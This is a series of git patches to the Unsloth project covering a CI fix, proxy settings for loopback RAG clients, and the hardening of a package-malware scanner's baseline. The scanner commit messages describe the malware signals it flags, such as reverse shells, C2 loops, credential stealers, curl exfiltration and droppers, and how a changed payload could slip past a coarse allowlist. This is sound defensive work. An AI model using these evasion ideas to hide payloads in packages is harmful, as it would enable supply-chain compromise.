-    # rather than silently leaving the placeholder in.
+    # A placeholder with no system message must raise, not stay literal.
     fn = _load_change_system_message()
     with pytest.raises(ValueError):
         fn("System: {system_message}", CUSTOM, None)
@@ -67,7 +62,7 @@ def test_custom_template_without_placeholder_unchanged():
 
 
 def test_predefined_template_uses_default_then_override():
-    # Predefined templates with a default are unaffected by the change.
+    # Predefined templates with a default are unaffected.
     fn = _load_change_system_message()
     t1, u1 = fn("System: {system_message}", "unsloth", None)
     assert t1 == "System: You are a helpful assistant to the user"
diff --git a/tests/saving/test_is_gpt_oss_detection.py b/tests/saving/test_is_gpt_oss_detection.py
index c8790e4da1..5fd199b5d4 100644
--- a/tests/saving/test_is_gpt_oss_detection.py
+++ b/tests/saving/test_is_gpt_oss_detection.py
@@ -4,9 +4,7 @@ from pathlib import Path
 
 
 def _load_is_gpt_oss():
-    # Extract just the helper from save.py so the test runs without importing
-    # unsloth (which requires unsloth_zoo / a GPU), matching the pattern used by
-    # test_qwen3_5_vlm_full_finetune_key_remap.py.
+    # Extract _is_gpt_oss without importing unsloth (needs unsloth_zoo / a GPU).
     source = Path(__file__).parents[2] / "unsloth" / "save.py"
     tree = ast.parse(source.read_text(encoding = "utf-8"))
     helpers = [
@@ -31,9 +29,7 @@ def _model(architectures = None, model_type = None):
 
 
 def test_detects_gpt_oss_by_architecture():
-    # config.architectures is a list, so detection must use membership, not ==.
-    # A model that declares GptOssForCausalLM but has no matching model_type must
-    # still be routed to the mxfp4 save path.
+    # architectures is a list, so detection must use membership, not ==.
     is_gpt_oss = _load_is_gpt_oss()
     assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"])) is True
     assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"], model_type = "gpt_oss")) is True
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index 8c4606f418..60eb8de5d7 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -1807,10 +1807,8 @@ def _change_system_message(template: str, type_chat_template: str, system_messag
     # For predefined templates, check if default system message exists
     default_system_message = DEFAULT_SYSTEM_MESSAGE.get(f"{type_chat_template}", None)
 
-    # Custom templates have no predefined default, but may still carry a
-    # {system_message} placeholder. Handle it before the no-default early return
-    # below, which would otherwise leave the literal "{system_message}" in the
-    # template. A placeholder with no system message is an error, not a no-op.
+    # Custom templates have no default but may carry a {system_message} placeholder;
+    # fill it before the no-default return below. A missing message here is an error.
     if default_system_message is None and "{system_message}" in template:
         if system_message is None:
             raise ValueError("Unsloth: You need to provide a system message for custom templates.")
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index 29e0c30dc1..e5a5d01c2f 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -1501,12 +1501,10 @@ _PEFT_TENSOR_PARALLEL_FALLBACK_SYMBOLS = (
 
 
 def _extract_peft_tensor_parallel_imported_symbols():
-    """Return names PEFT expects from ``transformers.integrations.tensor_parallel``.
+    """Return names PEFT imports from ``transformers.integrations.tensor_parallel``.
 
-    The supported PEFT import line is the one in
-    ``peft.utils.save_and_load._maybe_shard_state_dict_for_tp`` for fast
-    LoRA adapter checkpoints. Parse that source to avoid stale hard-coded
-    symbol lists.
+    Parsed from ``peft.utils.save_and_load._maybe_shard_state_dict_for_tp`` to
+    avoid a stale hard-coded symbol list.
     """
     try:
         import peft.utils.save_and_load as _save_and_load
@@ -1564,12 +1562,11 @@ def _raise_on_peft_tensor_parallel_symbol_use(symbol_name):
 
 
 def fix_peft_transformers_tensor_parallel_import_compat():
-    """Preserve existing ``transformers.integrations.tensor_parallel`` objects, then add
-    lightweight placeholders for symbols that PEFT expects but this transformers
-    build omits.
+    """Add placeholders to ``transformers.integrations.tensor_parallel`` for symbols
+    PEFT expects but this transformers build omits, keeping existing objects.
 
-    Returns ``True`` when patched, ``False`` when no patch is needed, and
-    ``None`` when transformers / PEFT context is absent.
+    Returns ``True`` when patched, ``False`` when no patch is needed, ``None``
+    when transformers / PEFT context is absent.
     """
     try:
         tensor_parallel_spec = importlib.util.find_spec("transformers.integrations.tensor_parallel")

From bc69dfad086cbe89c1441f859b9790b465a00cb4 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 1 Jul 2026 00:49:23 -0700
Subject: [PATCH 166/306] MLX CI: find llama-cli where save_pretrained_gguf
 actually installs it (#6777)

* MLX CI: find llama-cli where save_pretrained_gguf actually installs it

The GGUF reload step hardcoded the CWD-relative paths llama.cpp/llama-cli and
llama.cpp/build/bin/llama-cli, but save_pretrained_gguf builds and installs llama.cpp
under unsloth_zoo's LLAMA_CPP_DEFAULT_DIR ($UNSLOTH_LLAMA_CPP_PATH, else
~/.unsloth/llama.cpp), so the reload could not find the binary and failed the Mac M1
job with "llama-cli not found". _find_llama_cli now searches that install directory
(and honors the env override) before falling back to the old CWD layout, with a
recursive glob as a last resort. The search is a strict superset of the previous
paths, so it cannot regress a layout that already worked.

* MLX CI: return an absolute llama-cli path from the locator

Resolve the located binary to an absolute path. If UNSLOTH_LLAMA_CPP_PATH is a
relative directory (e.g. "."), Path(".") / "llama-cli" normalizes to the bare name
"llama-cli", and subprocess.run treats a separator-less argument as a PATH lookup
rather than a file to execute, raising FileNotFoundError. resolve() makes the returned
path absolute so it always runs the intended binary.

* MLX CI: give llama-cli EOF on stdin so GGUF reload cannot hang

With the binary now found, the GGUF reload actually invokes llama-cli and it timed
out after 300s generating 24 tokens on a 270m model, which is a stdin block rather
than slow generation: subprocess.run captured stdout/stderr but left stdin inherited,
so -no-cnv still left llama-cli waiting for interactive input. Pass
stdin=subprocess.DEVNULL so it receives an immediate EOF and runs the single prompt to
completion.

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 tests/studio/run_real_mlx_smoke.py | 51 ++++++++++++++++++++++++++----
 1 file changed, 45 insertions(+), 6 deletions(-)

diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py
index ea8b8621a9..0843a2b447 100644
--- a/tests/studio/run_real_mlx_smoke.py
+++ b/tests/studio/run_real_mlx_smoke.py
@@ -515,14 +515,50 @@ def cmd_reload(args) -> int:
     return 0
 
 
+def _find_llama_cli() -> Path | None:
+    """Locate the llama-cli binary save_pretrained_gguf built.
+
+    save_pretrained_gguf installs llama.cpp under unsloth_zoo's LLAMA_CPP_DEFAULT_DIR
+    ($UNSLOTH_LLAMA_CPP_PATH or ~/.unsloth/llama.cpp), not the working directory, so
+    search there first and keep the CWD-relative layout as a fallback.
+    """
+    bases: list[Path] = []
+    env_dir = os.environ.get("UNSLOTH_LLAMA_CPP_PATH")
+    if env_dir:
+        bases.append(Path(env_dir))
+    try:
+        from unsloth_zoo.llama_cpp import LLAMA_CPP_DEFAULT_DIR
+        bases.append(Path(LLAMA_CPP_DEFAULT_DIR))
+    except Exception:
+        bases.append(Path.home() / ".unsloth" / "llama.cpp")
+    bases.append(Path("llama.cpp"))
+
+    seen: set[Path] = set()
+    for base in bases:
+        if base in seen:
+            continue
+        seen.add(base)
+        for rel in ("llama-cli", "build/bin/llama-cli"):
+            cand = base / rel
+            if cand.is_file() and os.access(cand, os.X_OK):
+                # Absolute: a separator-less relative path would send subprocess
+                # to a PATH lookup instead of running the file.
+                return cand.resolve()
+        # Last resort: the binary may sit under an unexpected build subdir.
+        if base.is_dir():
+            for cand in sorted(base.glob("**/llama-cli")):
+                if cand.is_file() and os.access(cand, os.X_OK):
+                    return cand.resolve()
+    return None
+
+
 def _reload_gguf(save_dir: Path, metrics: dict) -> int:
-    candidates = [
-        Path("llama.cpp/llama-cli"),
-        Path("llama.cpp/build/bin/llama-cli"),
-    ]
-    llama_cli = next((c for c in candidates if c.exists()), None)
+    llama_cli = _find_llama_cli()
     if llama_cli is None:
-        raise SystemExit(f"llama-cli not found; checked {candidates}")
+        raise SystemExit(
+            "llama-cli not found under $UNSLOTH_LLAMA_CPP_PATH, "
+            "~/.unsloth/llama.cpp, or ./llama.cpp"
+        )
 
     gguf_files = sorted(save_dir.glob("*.gguf"))
     if not gguf_files:
@@ -549,6 +585,9 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:
             capture_output = True,
             text = True,
             timeout = 300,
+            # Hand llama-cli an immediate EOF; without it -no-cnv can still leave the
+            # process blocked reading stdin, which times out instead of generating.
+            stdin = subprocess.DEVNULL,
         )
 
     metrics["llama_cli_returncode"] = proc.returncode

From 0ea727a0b2c8d8771e467a149d1701d1d5816a62 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 1 Jul 2026 03:58:08 -0700
Subject: [PATCH 167/306] Studio RAG: disable trust_env on loopback
 llama-server httpx clients (#6775)

* Studio RAG: disable trust_env on loopback llama-server httpx clients

The RAG embedder health probe (embed_llama_server.py), its pooled httpx.Client, and the vision captioner (captioner.py) call the local 127.0.0.1 llama-server with httpx's default trust_env=True, so an ambient HTTP(S)_PROXY that returns 503 for loopback breaks embedder startup and captioning. Set trust_env=False on these loopback clients, matching the existing fix on the main llama_cpp and inference clients. External provider calls are untouched.

Follow-up to the loopback trust_env fix; covers the remaining local llama-server clients in the RAG path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio RAG tests: accept trust_env kwarg in captioner httpx.post mocks

The loopback captioner now passes trust_env=False; update the _vision_complete
fake_post stubs to accept it and assert it is False.

* Trim comments in Studio RAG trust_env fix (comment-only)

* RAG trust_env test: explicit UTF-8 read + scan all package .py files

Addresses review: utf-8 open avoids a Windows decode error, and scanning every
.py in core/rag catches any future file that adds an httpx call.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/rag/captioner.py          |  2 +
 studio/backend/core/rag/embed_llama_server.py |  8 +--
 studio/backend/tests/test_rag_captioning.py   |  9 ++--
 .../tests/test_rag_loopback_trust_env.py      | 52 +++++++++++++++++++
 4 files changed, 64 insertions(+), 7 deletions(-)
 create mode 100644 studio/backend/tests/test_rag_loopback_trust_env.py

diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py
index e29c9c9a7a..6d1512a770 100644
--- a/studio/backend/core/rag/captioner.py
+++ b/studio/backend/core/rag/captioner.py
@@ -128,6 +128,8 @@ def _vision_complete(
             json = payload,
             timeout = timeout,
             headers = _vision_auth_headers(),
+            # trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY.
+            trust_env = False,
         )
         r.raise_for_status()
         text = r.json()["choices"][0]["message"]["content"]
diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py
index c2e4ecc740..f53478463c 100644
--- a/studio/backend/core/rag/embed_llama_server.py
+++ b/studio/backend/core/rag/embed_llama_server.py
@@ -61,9 +61,8 @@ class LlamaServerBackend:
         self._binary: str | None = None
         # Sticky after an auto GPU start fails: later spawns stay on CPU.
         self._force_cpu = False
-        # Pooled client; requests pass full URLs, so a respawn's new port needs
-        # no rebuild.
-        self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S)
+        # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY.
+        self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False)
         atexit.register(self._shutdown)
 
     @property
@@ -305,7 +304,8 @@ class LlamaServerBackend:
                 logger.error("llama-server embedder exited early (code %s)", code)
                 return False
             try:
-                if httpx.get(url, timeout = 2.0).status_code == 200:
+                # trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe.
+                if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200:
                     return True
             except (*_TRANSPORT_ERRORS, httpx.TimeoutException):
                 pass
diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py
index f475c9e374..5ae0926990 100644
--- a/studio/backend/tests/test_rag_captioning.py
+++ b/studio/backend/tests/test_rag_captioning.py
@@ -172,8 +172,8 @@ def test_vision_complete_sends_auth_header(monkeypatch):
         def json(self):
             return {"choices": [{"message": {"content": "ok"}}]}
 
-    def fake_post(url, *, json, timeout, headers):
-        captured.update(url = url, headers = headers)
+    def fake_post(url, *, json, timeout, headers, trust_env):
+        captured.update(url = url, headers = headers, trust_env = trust_env)
         return _Resp()
 
     monkeypatch.setattr(httpx, "post", fake_post)
@@ -182,6 +182,7 @@ def test_vision_complete_sends_auth_header(monkeypatch):
     )
     assert out == "ok"
     assert captured["headers"] == {"Authorization": "Bearer secret"}
+    assert captured["trust_env"] is False
 
 
 def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
@@ -198,13 +199,15 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
         def json(self):
             return {"choices": [{"message": {"content": "ok"}}]}
 
-    def fake_post(url, *, json, timeout, headers):
+    def fake_post(url, *, json, timeout, headers, trust_env):
         captured["headers"] = headers
+        captured["trust_env"] = trust_env
         return _Resp()
 
     monkeypatch.setattr(httpx, "post", fake_post)
     captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8)
     assert captured["headers"] is None
+    assert captured["trust_env"] is False
 
 
 def test_merge_page_captions_dedups():
diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py
new file mode 100644
index 0000000000..1945e09982
--- /dev/null
+++ b/studio/backend/tests/test_rag_loopback_trust_env.py
@@ -0,0 +1,52 @@
+"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG
+package (all target the local 127.0.0.1 llama-server) must set trust_env=False."""
+
+import ast
+import os
+
+RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag")
+HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"}
+
+
+def _httpx_calls(path):
+    with open(path, encoding = "utf-8") as f:
+        tree = ast.parse(f.read(), filename = path)
+    calls = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Call):
+            continue
+        func = node.func
+        if (
+            isinstance(func, ast.Attribute)
+            and func.attr in HTTPX_CALLEES
+            and isinstance(func.value, ast.Name)
+            and func.value.id == "httpx"
+        ):
+            calls.append(node)
+    return calls
+
+
+def _sets_trust_env_false(call):
+    for kw in call.keywords:
+        if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False:
+            return True
+    return False
+
+
+def test_rag_loopback_httpx_clients_disable_trust_env():
+    # Scan every .py in the package so a new file with an httpx call can't bypass this.
+    checked = 0
+    for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")):
+        path = os.path.join(RAG_DIR, fname)
+        for call in _httpx_calls(path):
+            checked += 1
+            assert _sets_trust_env_false(call), (
+                f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False "
+                f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)"
+            )
+    assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}"
+
+
+if __name__ == "__main__":
+    test_rag_loopback_httpx_clients_disable_trust_env()
+    print("OK: all RAG loopback httpx clients set trust_env=False")

From 73d9653d5be1195536491c30749cc50f6dffa060 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 1 Jul 2026 04:03:59 -0700
Subject: [PATCH 168/306] scan_packages: key baseline on matched-code hash so
 payloads in baselined files are not auto-suppressed (#6552)

* scan_packages: key baseline on matched-code hash

The baseline matched on (package, package-relative file, check), which
excluded the matched code, so a future finding of the same check in the
same file was suppressed regardless of what the code did. A malicious
future version of an already-baselined package could place a payload in
the same file under the same check and pass the enforcing gate.

Key the baseline on a hash of the matched code too. The hash is over the
deduped, sorted set of matched spans with L<NN>: line markers stripped, so
version bumps, line shifts and match reordering stay stable while new or
changed flagged code reopens the finding. Version is left out of the key so
routine dependency bumps do not reopen every entry. The hash is capped and
recomputable from the stored evidence.

Regenerate scan_packages_baseline.json against the current dependency set;
the hf-stack, studio and extras scan shards pass enforcing (no active
CRITICAL or HIGH).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: refresh baseline for newer unsloth-zoo release

A newer unsloth-zoo published after the first regenerate added
tests/test_mlx_save_export_regressions.py, a benign test fixture
(temporary_location="/tmp/ignored") that trips the /tmp dropper check.
Regenerate the hf-stack shard against the current set so the entry is
allowlisted; studio and extras are unchanged.

* scan_packages: harden baseline loading against malformed JSON

Guard against a non-dict top-level baseline and non-dict entries so a
corrupt or hand-edited allowlist warns and fails closed instead of
crashing with AttributeError, and treat an explicit evidence: null as
empty.

* scan_packages: hash the full match set, keep indentation, strip only the marker

Address the evidence-hash review feedback:
- Capture every matching line, not the first three, so a payload appended
  after existing matches in a baselined file and check reopens the finding
  instead of riding the sample.
- Preserve leading indentation so a flagged line moved out of a guarded block
  reads as changed.
- Strip only each span's prefix up to the first L<NN>: marker, so an L<NN>:
  inside the matched code is kept and a change to it reopens the finding.

Evidence and its hash are stored in full and stay recomputable from the stored
field. Regenerate the baseline; hf-stack, studio and extras pass enforcing with
no active CRITICAL or HIGH.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: bind baseline evidence to full matched code

Address review feedback on the evidence-hash baseline key:

- Split evidence only on real span delimiters (" | " before an L<NN>:
  marker, or a newline), so a bitwise-or or union type in matched code
  is no longer split apart into separate spans.
- Record matched lines in full (drop the 160-char per-line cap) and
  record every distinct multiline match, so code appended past the cap
  or a second cross-line match reopens the finding instead of riding the
  first one.
- Give the large-JS-bundle and .pth base64-blob findings a content
  digest instead of empty or prefix-only evidence, and record all .pth
  import lines, so a changed bundle, blob or import no longer inherits a
  baselined empty or truncated key.
- Warn when a loaded baseline has entries without evidence_hash so a
  legacy baseline is regenerated rather than silently degraded.

Regenerate scripts/scan_packages_baseline.json against the current dep
set and add regression tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: harden multiline and duplicate evidence handling

Follow-up hardening so the evidence hash tracks the full matched code:

- For DOTALL patterns that match across lines, record every line the match
  spans (not just the start line), so a change on a continuation line (the
  URL inside a baselined C2 loop, a swapped credential path) reopens the
  finding. A pathological greedy span is bounded to its head line plus a
  digest of the rest.
- Keep duplicate spans in the canonical evidence so a second identical
  matched line in a new code path changes the key instead of deduping away.
- Anchor the evidence prefix to strip only a genuine leading label or
  line-number marker, leaving a marker-like "L<NN>:" inside raw .pth code
  intact.
- Make the legacy-baseline warning explicit that entries without an
  evidence_hash reopen rather than suppress under a coarse key.

Regenerate scripts/scan_packages_baseline.json (same finding set; entries
for same-file repeated checks are now tracked separately) and add tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: bind every combo and large finding to its full content

Close the remaining asymmetric-evidence gaps so a changed payload cannot
ride a reviewed baseline entry:

- Digest a capped multiline span from the code without line markers, so a
  pure line shift stays stable while a continuation-line change reopens.
- Give the "Unusually large executable .pth" finding a content digest
  instead of keying on byte size and import-line count alone.
- Record both contributing signals for the JS credential+network stealer,
  the shell credential+network and persistence-hook combos, and the hidden
  network+exec docstring payload, so changing the network/exec side reopens.
- Allow punctuation in an evidence label prefix so a "network+exec:" label
  is stripped and line shifts do not change the key.

Regenerate scripts/scan_packages_baseline.json and add tests for each case.

* scan_packages: bind remaining Python combos; key npm baseline on evidence

Python scanner: the openssl+key, anti-analysis, DNS-exfil and base64+exec+blob
combos recorded only one contributing signal, so a changed payload on the other
side could ride a reviewed baseline entry. Each now binds every co-occurring
signal (and the blob is digested, since it can sit on a separate line from the
decode call).

npm scanner: scan_npm_packages.py keyed its allowlist on (package, path,
pattern) only, the same coarse-key bypass the Python scanner just closed. Add an
evidence hash to the key (schema v3, fail-closed on older baselines) and store
full evidence. The committed baseline stays empty by design.

Regenerate scripts/scan_packages_baseline.json and add tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_npm_packages: bind full blob evidence and harden baseline loader

Follow-up on the npm evidence-hash key:

- _evidence now records every match and, when a snippet is truncated for
  display, appends a digest of the full match. The obfuscated-blob key was
  hashing only the truncated first-match snippet, so a changed payload tail or
  an appended blob in the same package/file/pattern could ride a reviewed entry.
- _load_baseline guards that the root is an object, entries is a list, and each
  entry is a dict before reading it, so a malformed baseline warns and fails
  closed instead of raising AttributeError.

Add tests for a changed blob tail reopening the key and for malformed entries.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: symmetric baseline-loader guards; bind npm outbound host context

- Python _load_baseline now rejects a non-list "entries" with a warning instead
  of raising TypeError, matching the npm loader.
- npm cred-surface-host (outbound) records the host with its URL path / fetch
  call / host config, so a changed outbound path, headers or body reopens the
  key rather than riding the bare host literal.

Add tests for both.

* scan_npm_packages: migrate v2 baselines and bind host-config outbound context

- _load_baseline now migrates schema v2 entries by recomputing the evidence
  hash from stored evidence (with a legacy warning), matching the Python
  loader, instead of discarding them; only pre-v2 basename schemas are rejected.
- The cred-surface-host (outbound) host-config branch now captures the whole
  line (path, headers, body), so a changed outbound payload on the same
  hostname line reopens the key instead of riding the bare host snippet.

Add tests for v2 migration and the host-config context binding.

* scan packages: bind PEM key bodies and npm windowed evidence to baseline keys

scan_packages: embedded-key findings now pin the full PEM block (BEGIN..END)
via a content digest, so a key body swapped under the same marker reopens the
finding instead of riding the unchanged BEGIN line. Single-line and DER keys
were already bound by their full matched line; marker-only references with no
END block (validation header lists) are unaffected, so the committed baseline
is unchanged.

scan_npm_packages: _evidence now digests the full containing line whenever the
shown snippet is only a window into it (short match on a long line, or a
truncated payload), so a changed payload tail outside the display window
reopens the key. The npm baseline is empty, so this changes no suppressions.

Adds regression tests for both cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan packages: bind multi-line evidence and every blob to baseline keys

_extract_evidence now extends each single-line match over its bracket
continuations, so a multi-line call binds its argument lines and a changed
URL or body on a continuation line reopens the key. After the per-line pass it
also records cross-line matches the scan cannot otherwise see (a DOTALL regex,
or a multi-line construct appended under a check that already had a one-line
match), so an appended multiline payload reopens instead of riding the key.

_blob_digest hashes every large base64 blob (not just the first) for the
base64+exec finding and the .pth large-blob finding, so an appended or swapped
second encoded payload reopens; single-blob files keep the same digest.

scan_npm_packages _evidence digests the full logical line (the matched line
plus its bracket-continuation lines), so a multi-line fetch's option and header
lines bind and a changed payload on a following line reopens the outbound key.

Regenerated the Python baseline: same package/file/check set, 24 entries pick
up the wider multi-line evidence. Adds regression tests for each case.

* scan packages: stop giant greedy spans from binding a whole-file digest

When a greedy DOTALL pattern (reverse shell socket...subprocess, C2 loop) has
its anchor tokens far apart, the match span covers the whole file. Digesting
that span bound thousands of unrelated lines, so the evidence hash drifted on
any edit between the anchors (a dependency bump reshuffling the file), which
made a baselined finding reopen on an upstream release. The multiline pass now
skips an oversized span when the per-line pass already bound the signal lines,
so the evidence is the stable matched lines; a genuinely appended multi-line
construct stays under the cap and is still recorded.

Regenerated the Python baseline against Python 3.12 (the version the scan CI
shards run) so the resolved dependency set matches CI. Same package/file/check
set. Adds a regression test.

* scan packages: tighten evidence binding (order, string brackets, span size)

Address review follow-ups on the evidence extraction:

- _canon_evidence keeps discovery (line) order instead of sorting. Line-shift
  stability already comes from stripping the L<NN>: markers, so order stays
  significant and reordering matched lines (a multi-line call's arguments)
  reopens the finding.
- _logical_line_end (Python) and _logical_line_text (npm) blank string literals
  before counting brackets, so a ) inside a string argument does not close the
  logical line early and drop later argument lines.
- The oversized-span skip now only drops a giant whole-file bridge (over 60
  lines); a genuinely appended multi-line construct is recorded so its payload
  reopens, rather than riding an existing one-line match.
- npm _logical_line_text binds the enclosing bracket group, so a host-config
  object whose { is on a prior line binds its path/headers/body lines.

Regenerated the Python baseline (Python 3.12, matching the scan CI shards):
same package/file/check set. Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan npm packages: normalize and bound the logical-line digest

- _evidence whitespace-normalizes the logical line before digesting (matching
  _evidence_hash), so a formatter-only reindent of the bound continuation lines
  does not change the sha256 suffix and reopen an unchanged finding.
- _logical_line_text follows a bracket group to its close up to a hard 200-line
  cap (digest input only), so a config object longer than the backward window
  still binds its whole tail instead of silently truncating.

Adds regression tests. npm baseline is empty, so no regeneration is needed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan: cap single-line evidence and widen npm opener window

Cap each rendered evidence line at 200 chars in scan_packages.py: a long
or minified one-line file is shown as a bounded prefix plus a sha256 of the
full line, so a packed payload cannot dump unbounded content into the CI
logs or baseline while a change past the cutoff still changes the digest
and reopens the finding. Mirrors how the npm scanner bounds its snippets.

Widen the npm backward opener window (_MAX_CONT_LINES 12 to 200, symmetric
with the forward cap) so a host deep inside a large options object binds
the whole object, not just its own line; a changed path, header, or body on
any property reopens.

Regenerate the Python baseline with Python 3.12: only the protobuf
nspkg.pth and unsloth-zoo compiler.py evidence change, both from the new
line cap; the package/file/check key set is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan: bind all host contexts, deep call continuations, far-back npm openers

Three fail-closed evidence gaps surfaced by review of the previous round.

scan_npm_packages.py: measure the forward bracket-group cap from the matched
line (idx + _MAX_GROUP_LINES) instead of the opener, so an opener found near
the widened backward limit no longer consumes the forward budget and drops
the path, headers, or body that follow the host.

scan_npm_packages.py: _outbound_host_evidence now records every outbound
context form for a host (URL, fetch-context, host-config), claiming each
non-overlapping match in form order, so a separate host-config request added
beside an already-baselined URL changes the evidence and reopens the key.
The common single-context case keeps its existing snippet.

scan_packages.py: follow a matched Python call over its continuations up to a
separate _MAX_CALL_LINES (40), decoupled from the 12-line display threshold,
so a multi-line requests.post( binds its whole argument list in the digest
and a changed body deep in the call reopens; bounded so a miscounted bracket
cannot swallow unrelated code. No baseline change: the current dependency set
has no matched call that closes between 13 and 40 lines, confirmed by a
Python 3.12 regenerate that produced a byte-identical baseline.

* scan: clamp npm depth, pin large bundles, follow backslash and bound .pth dump

Four fail-closed evidence gaps surfaced by review of the previous round.

scan_npm_packages.py: clamp the backward opener scan at depth 0 so a leading
unmatched closer (a preceding block whose opener is outside the backward
window) no longer drives depth negative and masks the real enclosing opener
that follows; a host-config object after such a block now binds and a changed
path reopens.

scan_packages.py: a large JS bundle now pins its whole content even when
another JS heuristic already fired. The bundle digest was only added when no
other finding existed; it is now appended to every finding's evidence on a
large bundle, so an unchanged obfuscation signature no longer lets changed
payload elsewhere ride the matched-line key.

scan_packages.py: _logical_line_end follows explicit backslash line
continuations, so a call split with a backslash before its parenthesis binds
the continuation line (URL/body) instead of returning at the zero-depth API
line.

scan_packages.py: the catch-all .pth import evidence is bounded through
_cap_line (prefix plus a digest of every line) so a large .pth of benign
imports cannot dump the whole member into the logs or baseline while an
appended or swapped import still reopens.

Baseline regenerated with Python 3.12: key set unchanged; one entry
(unsloth-zoo compiler.py) gains the backslash-continued banner lines now
bound by the continuation fix.

* scan: handle multi-line strings, lifecycle bodies, and de-quadratic evidence

Addresses a review round plus a performance audit of the evidence extractor.

Correctness (fail-closed):
- Bind the UNION of the single-line-blanked and multi-line-blanked bracket spans
  in both scanners. The multi-line view blanks a triple-quoted Python string or a
  backtick template literal that spans lines, so a `)` inside such a string no
  longer closes the enclosing call early and drop later arguments. The single-line
  view still counts a payload embedded INSIDE a string, so a dropper that hides a
  call in a string keeps its argument lines bound. Taking the larger span never
  shrinks the binding below either view, avoiding a fail-open regression.
- cred-env-in-lifecycle now pins the whole lifecycle script body via a digest, so
  a changed non-token line (e.g. adding a curl exfil beside the token reference)
  reopens, not just a change on the token line.

Performance / DoS (the scanner runs on attacker-controlled package files up to the
64 MiB / 16 MiB member caps, with no per-file time budget):
- _extract_evidence precomputes newline offsets once and maps match offsets with
  bisect, removing the O(matches) whole-file content.count per match that made the
  finditer fallback quadratic (a crafted minified file went from ~13 s/MiB and
  hours at the cap to linear).
- npm _index_text splits and string-blanks the file once per evidence call instead
  of per match (was O(matches x file) time and allocation).
- Bound evidence output: _MAX_EVIDENCE_SPANS (Python) and _MAX_EVIDENCE_MATCHES
  (npm) fold the remainder into a digest so a file with thousands of matches cannot
  build a multi-megabyte evidence/baseline blob while an added/removed match past
  the cap still changes the key.
- _outbound_host_evidence caps matches per form and bounds the overlap claim so a
  host repeated many times cannot make it quadratic.

No baseline change: a Python 3.12 regenerate is byte-identical (the union equals the
legacy single-line span for every current dependency file; the cap thresholds sit
above the largest real entry), so these are forward-looking hardening with no drift.

* scan: count all overflow matches, bind their context, blank JS regex literals

Follow-ups on the evidence output caps from the previous commit.

- _outbound_host_evidence no longer truncates each pattern's match iterator with
  islice; it iterates every match and runs the overlap dedup only while the
  display list is below the cap (so claimed stays bounded and the check is O(cap)
  per match, not quadratic), folding every match past the cap into the overflow
  digest. A host context beyond the 64th is counted again, so it reopens.
- The overflow digest (both scanners, via a shared _overflow_digest) binds each
  overflow match's logical-line context, not just the regex match text, so a
  changed payload on an over-cap line reopens even with the matched token
  unchanged.
- The multi-line JS blanked view now blanks regex-literal bodies (tracking the
  previous significant char for regex-vs-division and char classes for a literal
  `/` inside `[...]`), so a `)` inside `/)/` no longer closes an outbound call
  early. The bound span is the union of the single-line and multi-line views, so
  an imperfect regex decision only ever grows the span, never shrinks it.
- The Python overflow digest canonicalizes spans (strips L<NN>: markers via
  _canon_evidence) before hashing, restoring line-shift stability for the
  over-cap region.

No baseline change: the overflow branches only trigger above the per-finding caps
